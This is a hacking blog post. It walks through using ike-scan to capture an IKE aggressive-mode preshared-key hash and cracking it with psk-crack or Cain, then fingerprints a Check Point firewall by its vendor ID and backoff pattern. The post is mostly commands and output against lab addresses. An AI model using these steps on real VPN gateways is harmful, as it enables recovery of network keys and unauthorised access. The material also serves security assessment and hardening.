Aggressive Mode VPN -- IKE-Scan, PSK-Crack, and Cain

There hasnt been much in the way of updates on breaking into VPN servers that have aggressive mode enabled.

ike-scan is probably still your best bet.

If you have no idea what i'm talking about go read this:
http://www.sersc.org/journals/IJAST/vol8/2.pdf and
http://www.radarhack.com/dir/papers/Scanning_ike_with_ikescan.pdf

In IKE Aggressive mode the authentication hash based on a preshared key (PSK) is transmitted as response to the initial packet of a vpn client that wants to establish an IPSec Tunnel (Hash_R). This hash is not encrypted. It's possible to capture these packets using a sniffer, for example tcpdump and start dictionary or brute force attack against this hash to recover the PSK.

This attack only works in IKE aggressive mode because in IKE Main Mode the hash is already encrypted. Based on such facts IKE aggressive mode is not very secure.

It looks like this:

$ sudo ike-scan 192.168.207.134
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)

192.168.207.134 Notify message 14 (NO-PROPOSAL-CHOSEN) HDR=(CKY-R=f320d682d5c73797)
Ending ike-scan 1.9: 1 hosts scanned in 0.096 seconds (10.37 hosts/sec).
0 returned handshake; 1 returned notify

$ sudo ike-scan -A 192.168.207.134
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ikescan/)

192.168.207.134 Aggressive Mode Handshake returned HDR=(CKY-R=f320d6XXXXXXXX) SA=(Enc=3DES Hash=MD5 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=12f5f28cXXXXXXXXXXXXXXX (Cisco Unity) VID=afcad71368a1XXXXXXXXXXXXXXX(Dead Peer Detection v1.0) VID=06e7719XXXXXXXXXXXXXXXXXXXXXX VID=090026XXXXXXXXXX (XAUTH) KeyExchange(128 bytes) ID(Type=ID_IPV4_ADDR, Value=192.168.207.134) Nonce(20 bytes) Hash(16 bytes)

To save with some output:

$ sudo ike-scan -A 192.168.207.134 --id=myid -P192-168-207-134key

Once you have you psk file to crack you're stuck with two options psk-crack and cain

psk-crack is fairly rudamentary

to brute force:

$psk-crack -b 5 192-168-207-134key
Running in brute-force cracking mode
Brute force with 36 chars up to length 5 will take up to 60466176 iterations

no match found for MD5 hash 5c178d[SNIP]
Ending psk-crack: 60466176 iterations in 138.019 seconds (438099.56 iterations/sec)

Default is charset is "0123456789abcdefghijklmnopqrstuvwxyz" can be changed with --charset=

$ psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
Running in brute-force cracking modde
Brute force with 63 chars up to length 5 will take up to 992436543 iterations

To dictionary attack:

$psk-crack -d /path/to/dictionary 192-168-207-134key
Running in dictionary cracking mode

no match found for MD5 hash 5c178d[SNIP]
Ending psk-crack: 14344876 iterations in 33.400 seconds (429483.14 iterations/sec)

You may find yourself wanting a bit more flexibility or options during bruteforcing or dictionary attacking (i.e. character substition). For this you'll need to use Cain. The problem I ran in to was Cain is a Windows tool and ike-scan is *nix. I couldnt get the windows tool that is floating around to work. Solution...run in vmware and have Cain sniff on your VMware interface. The PSK should show up in passwords of the sniffer tab, then you can select and "send to cracker". Its slow as hell, but more options than psk-crack.

Firewall & VPN Identification with Ike-Scan

Sometimes nmap will tell you what you exactly what you are up against...

cg@segfault:~$ nmap -A 192.168.1.15

Starting Nmap 4.20 ( http://insecure.org ) at 2007-10-13 14:58 MDT
Interesting ports on (192.168.1.15):
Not shown: 1694 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Cisco VPN Concentrator http config
443/tcp open ssl/http Cisco VPN Concentrator http config
10000/tcp open snet-sensor-mgmt?
Service Info: Device: terminal server

Sometimes it wont tell you crap... :-(

cg@segfault:~$ nmap -A 192.168.1.11 -P0 -p 1-65535

Starting Nmap 4.20 ( http://insecure.org ) at 2007-10-13 00:34 MDT
All 65535 scanned ports on depcon (192.168.1.11) are filtered

Nmap finished: 1 IP address (1 host up) scanned in 13122.065 seconds

If you suspect that its a firewall or VPN concentrator you can use ike-scan to help test your theory.

root@segfault:# ike-scan 192.168.1.11
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
192.168.1.11 Notify message 14 (NO-PROPOSAL-CHOSEN) HDR=(CKY-R=0000000000000000, msgid=05e350bc)

That notify message tells us that "something" is there but we still aren't any closer to ID'ing it. Lets throw some auth codes at it.

--auth= or -m   Set auth. method to , default=1 (PSK).
RFC defined values are 1 to 5. See RFC 2409 Appendix A.
Checkpoint hybrid mode is 64221.
GSS (Windows "Kerberos") is 65001.
XAUTH uses 65001 to 65010.
This is not applicable to IKEv2.

root@segfault:# ike-scan 192.168.1.11 --auth=3
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
192.168.1.11
Main Mode Handshake returned HDR=(CKY-R=42c304f9b0e011fd) SA=(Enc=3DES
Hash=SHA1 Auth=RSA_Sig Group=2:modp1024 LifeType=Seconds
LifeDuration(4)=0x00007080)

A little more info, a Main Mode Handshake returned, but no info on what device
it is.

root@segfault:# ike-scan 192.168.1.11 --auth=64221
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
192.168.1.11
Main Mode Handshake returned HDR=(CKY-R=ab8bd634493e304e) SA=(Enc=3DES
Hash=SHA1 Auth=Hybrid Group=2:modp1024 LifeType=Seconds
LifeDuration(4)=0x00007080)
VID=f4ed19e0c114eb516faaac0ee37daf2807b4381f000000010000138d4710496d0000000018000000
(Firewall-1 NGX)

Ok, we got a vendor ID and ike-scan tells us its a checkpoint firewall-1 NGX, it
sure would be nice to know what model.

root@segfault:# ike-scan 192.168.1.11 --auth=64221 --showbackoff
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
192.168.1.11 Main Mode Handshake returned HDR=(CKY-R=115ea42183f9da3d) SA=(Enc=3DES Hash=SHA1 Auth=Hybrid Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080) VID=f4ed19e0c114eb516faaac0ee37daf2807b4381f000000010000138d4710dde10000000018000000 (Firewall-1 NGX)

IKE Backoff Patterns:

IP Address No. Recv time Delta Time
192.168.1.11 1 1192287497.108277 0.000000
192.168.1.11 2 1192287499.144069 2.035792
192.168.1.11 3 1192287501.155070 2.011001
192.168.1.11 4 1192287503.123598 1.968528
192.168.1.11 5 1192287505.115728 1.992130
192.168.1.11 6 1192287507.162779 2.047051
192.168.1.11 7 1192287509.153315 1.990536
192.168.1.11 8 1192287513.177931 4.024616
192.168.1.11 9 1192287517.135372 3.957441
192.168.1.11 10 1192287521.162738 4.027366
192.168.1.11 11 1192287525.147460 3.984722
192.168.1.11 12 1192287529.183789 4.036329
192.168.1.11 Implementation guess: Firewall-1 4.1/NG/NGX

**Go read the UDP Backoff paper to understand the showbackoff stuff


We've go the VendorID of the firewall, lets see if we can narrow down to a model of Checkpoint Firewall

VID=f4ed19e0c114eb516faaac0ee37daf2807b4381f000000010000138d4710dde10000000018000000

Checkpoint VendorID: f4ed19e0c114eb516faaac0ee37daf2807b4381f

00000001 = Product Type(1=Firewall, 2=client)

0000138d = Version = NGX R60 because timestamp is non-zero

4710496d = Timestamp (NGX only) This timestamp shows the current time on the target firewall in seconds since Jan 1st 1970.

00000000 = Reserved (always zero)

18000000 = Features

I used to to figure the above out:
NGX R60 Vendor ID examples--> http://www.nta-monitor.com/wiki/index.php/Check_Point_Firewall-1#NGX_R60_Vendor_ID_examples

Links:
Ike-Scan site--> http://www.nta-monitor.com/tools/ike-scan/
Ike-Scan wiki--> http://www.nta-monitor.com/wiki/index.php/Ike-scan_Documentation
UDP Backoff Whitepaper--> http://www.nta-monitor.com/posts/2003/01/udp-backoff-whitepaper.pdf
Common VPN Security Flaws--> http://www.nta-monitor.com/posts/2005/01/VPN-Flaws-Whitepaper.pdf
Radarhack Ike-Scan paper--> http://www.radarhack.com/dir/papers/Scanning_ike_with_ikescan.pdf